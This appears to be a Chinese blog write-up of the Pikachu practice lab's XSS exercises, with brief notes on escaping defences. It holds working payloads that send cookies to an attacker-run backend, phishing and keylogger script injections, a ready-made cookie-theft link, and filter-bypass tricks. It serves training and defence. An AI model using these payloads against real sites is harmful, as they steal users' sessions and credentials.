Pikachu——XSS(反射型,存储型,DOM型,盲打,过滤,htmlspecialchars(),href输出,js输出)

XSS(跨站脚本)概述
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

小声叨叨:案例演示是后来补的QAQ


反射型XSS(不和数据库交互,链接发给谁谁点开都弹1)

  • get型

正常情况下是这样的

在URL输入<script>alert(1)</script>

 产生弹框

案例演示:盗取用户cookie

这是我们要用到的管理后台,在左侧边栏底下的管理工具下的XSS后台,第一次点击进去会有红字提示需要安装和初始化,我们需要正确配置文件,再点击安装,就可以正常使用如下图

修改为自己的地址,重定向到另一个可信网址 ,点击者就会不知情

  我之所以卡在这里的原因就是在URL里输入<script> document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie='   +  document.cookie; </script>是没有用的,不跳转也不会有cookie被获取到,如下图所示

正确的做法是先用firebug查看元素,将输入框输入字符的最大限度调大(这是一次性的,刷新以后再想尝试就还得重调)

 此时输入框就可以输入好长一串语句:<script>document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

点击submit就会发现成功跳转到了首页,取xss后台查看,成功获取到了cookie

我把这个链接发给谁,只要点开了,我这里就可以获取到他的cookie

http://192.168.29.21/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3E+document.location+%3D+%27http%3A%2F%2F192.168.29.21%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B+%09%3C%2Fscript%3E&submit=submit

  • post型

首先需要登录

 再输入<script>alert(1)</script>

 弹框

 

 案例演示:盗取用户cookie

记得把下图地址改成本机的(因为我是本地演示,如果是在多台虚拟机中进行实验,即将第1处修改为漏洞网站IP,第2处修改为黑客后台IP即可),文件地址一定要跟自己实际的对应

 首先用另一个账号密码test abc123登录

登陆以后在输入框输入注入语句

 submit后发现跳转回首页,我们在后台成功获取到了cookie

 我们只需要受害者在该网站登录状态下访问链接http://192.168.29.21/pikachu-master/pkxss/xcookie/post.html,就可以获取其cookie


 存储型XSS(和数据库交互,无论别人在哪里访问该网站,都会弹1)

 

 弹框

 案例演示:钓鱼演示

首先将这个文件里的地址改成自己的,以及自己的pikachu文件地址

 注意!!!fish.php里这里的换行符一定要删掉,要不然只弹框,输入了账号、密码也无法传输到后台

 在输入框输入 <script src="http://192.168.29.21/pikachu-master/pkxss/xfish/fish.php"></script>

 弹出认证框

 输入用户名密码,点击确定以后,再去后台查看发现

 案例演示:键盘记录(未完成)

把rk.js的54行地址以及位置替换成自己的

此处改为允许被跨域访问

补充小知识:

什么是跨域

(1)当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域,我们把不同的域之间请求数据的操作,称为跨域操作

(2)跨域-同源策略

    为了安全考虑,所有的浏览器都约定了"同源策略",同源策略规定:两个不同域名之间不能使用JS进行相互操作。例如:a.com域名下的JavaScript并不能操作b.com域下的对象。如果想要跨域操作,则需要管理员进行特殊的配置。例如:通过header("Access-Control-Allow-Origin:x.com")指定。

注意:下面的这些标签跨域加载资源(资源类型有限制)是不受同源策略限制的。

<script src="…">//js,加载到本地执行

<image src="…">//图片

<link href="…">//css

<iframe src="…">//任意资源

在存储型xss输入<script src="http://192.168.29.21/pikachu-master/pkxss/rkeypress/rk.js"></script>提交以后,在留言板位置随意输入不用点击提交

 后台查看应该是有键盘记录的,但是我这显示有错误,卡了很久,该改的都改了,读不到键盘值


DOM型XSS(xss代码不需要服务器端解析响应的直接参与,触发xss的方式是浏览器端的dom解析)

什么是Dom?(详细了解见https://www.w3school.com.cn/htmldom/index.asp)

(1)DOM 是 W3C(万维网联盟)的标准。

(2)DOM 定义了访问 HTML 和 XML 文档的标准:

"W3C 文档对象模型 (DOM) 是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。"

(3)W3C DOM 标准被分为 3 个不同的部分:

核心 DOM - 针对任何结构化文档的标准模型

XML DOM - 针对 XML 文档的标准模型

HTML DOM - 针对 HTML 文档的标准模型

(4)注:DOM 是 Document Object Model(文档对象模型)的缩写。

要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变、或移除的方法和属性,都是通过对文档对象类型来获得的(DOM),所以我们可以把DOM理解为一个访问HTML的标准编程接口。

首先查看一下代码

 我们根据提示构造闭合语句:a' onclick="alert('xss')">;

 点击click me,再点击what do you see出现弹框

 Dom-x型xss

操作步骤:在输入框输入1' onclick="alert('xss')">,点击“请说出你的伤心往事”——点击“有些~~~”——点击“就让往事~~~”


XXS之盲打

尝试在这两个地方输入<script>alert(1)</script>

 不管是分别输入还是两个同时输入,都看不出来啥效果,后台才能看到输入的内容,从前端是无法判断是否存在XSS的。

我们进入http://192.168.29.21/pikachu-master/vul/xss/xssblind/admin_login.php并登录

 发现后台弹框

 这里可以直接插入前面获取Cookie的恶意代码,直接盲打后台管理员的Cookie

演示:

 在任何一个输入框输入<script>document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>并提交

继续登录http://192.168.29.21/pikachu-master/vul/xss/xssblind/admin_login.php,自动跳转回首页,查看后台,cookie有了


XSS过滤

大小写混合绕过

<ScRipt>alert(1)</sCriPt>

 再补充几种其他方式的

1.输入框长度有限制的,使用firebug查看元素直接修改前端的限制,例如长度。

2.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

3.注释符:<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

还有一种编码的方式,但是在使用时要注意是否会被输出点识别和执行,不然绕过了也没有用。(比如我尝试了对语句进行URL编码,结果是不行)


htmlspecialchars()函数

htmlspecialchars()函数:把预定义的字符转换成为HTML实体,预定义的字符如下:

&(和号)成为&amp

"(双引号)成为&quot

'(单引号)成为&#039

<(小于号)成为&lt

>(大于号)成为&gt

可用的引号类型:

ENT_COMPAT-默认。仅编码双引号。

ENT_QUOTES-编码双引号和单引号。

ENT_NOQUOTES-不编码任何引号。

 在这里单引号并没有被过滤,所以我们使用单引号构造闭合

 'onclick='alert(12)'


XXS防范

 一、href输出

 输出在a标签的herf属性里边,我们可以执行JavaScript协议执行js。

在输入框输入:javascript:alert(12),然后点击submit。我们点击出现的一个连接,就会出现下面的页面。

 二、js输出

我们首先输入一段字符串r1se,提交以后查看网页源代码

 构造闭合r1se'</script><script>alert('xss')</script>粘贴至输入框,成功弹框

 所以我们该怎么防范呢

我们会想到对html进行实体编码,也就是代码中使用htmlspecialchars()函数,但是javascript里面是不会对tag和字符实体进行解释,也就是说,虽然编码表面上可以解决问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。针对这种情况,我们应该在JS的输出点应该使用对特殊字符进行转义。

 
原文地址:https://www.cnblogs.com/ApricityJ/p/13255748.html